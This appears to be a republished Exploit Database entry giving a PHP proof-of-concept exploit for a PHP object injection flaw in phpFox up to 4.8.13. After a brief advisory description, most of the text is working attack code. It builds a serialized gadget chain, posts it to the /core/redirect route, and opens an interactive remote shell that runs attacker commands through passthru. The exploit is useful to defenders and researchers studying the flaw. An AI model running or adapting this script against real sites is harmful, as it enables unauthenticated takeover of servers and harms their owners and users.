phpFox < 4.8.13 - (redirect) PHP Object Injection Exploit

Exploit Database
226 阅读

作者： Egidio Romano

日期： 2024-02-19
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/51799/

<?php

--------------------------------------------------------------

phpFox <= 4.8.13 (redirect) PHP Object Injection Vulnerability

--------------------------------------------------------------

author..............: Egidio Romano aka EgiX

mail................: n0b0d13s[at]gmail[dot]com

software link.......: https://www.phpfox.com

+-------------------------------------------------------------------------+

| This proof of concept code was written for educational purpose only.|

| Use it at your own risk. Author will be not responsible for any damage. |

+-------------------------------------------------------------------------+

[-] Vulnerability Description:

User input passed through the "url" request parameter to the /core/redirect route is

not properly sanitized before being used in a call to the unserialize() PHP function.

This can be exploited by remote, unauthenticated attackers to inject arbitrary PHP

objects into the application scope, allowing them to perform a variety of attacks,

such as executing arbitrary PHP code.

[-] Original Advisory:

https://karmainsecurity.com/KIS-2023-12

set_time_limit(0);

error_reporting(E_ERROR);

if (!extension_loaded("curl")) die("[+] cURL extension required!\n");

print "+------------------------------------------------------------------+\n";

print "| phpFox <= 4.8.13 (redirect) PHP Object Injection Exploit by EgiX |\n";

print "+------------------------------------------------------------------+\n";

if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");

function encode($string)

{

$string = addslashes(gzcompress($string, 9));

return urlencode(strtr(base64_encode($string), '+/=', '-_,'));

}

class Phpfox_Request

{

private $_sName = "EgiX";

private $_sPluginRequestGet = "print '_____'; passthru(base64_decode(\$_SERVER['HTTP_CMD'])); print '_____'; die;";

}

class Core_Objectify

{

private $__toString;

function __construct($callback)

{

$this->__toString = $callback;

}

print "\n[+] Launching shell on {$argv[1]}\n";

$popChain = serialize(new Core_Objectify([new Phpfox_Request, "get"]));

$popChain = str_replace('Core_Objectify', 'Core\Objectify', $popChain);

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "{$argv[1]}index.php/core/redirect");

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

curl_setopt($ch, CURLOPT_POSTFIELDS, "url=".encode($popChain));

while(1)

{

print "\nphpFox-shell# ";

if (($cmd = trim(fgets(STDIN))) == "exit") break;

curl_setopt($ch, CURLOPT_HTTPHEADER, ["CMD: ".base64_encode($cmd)]);

preg_match("/_____(.*)_____/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");

}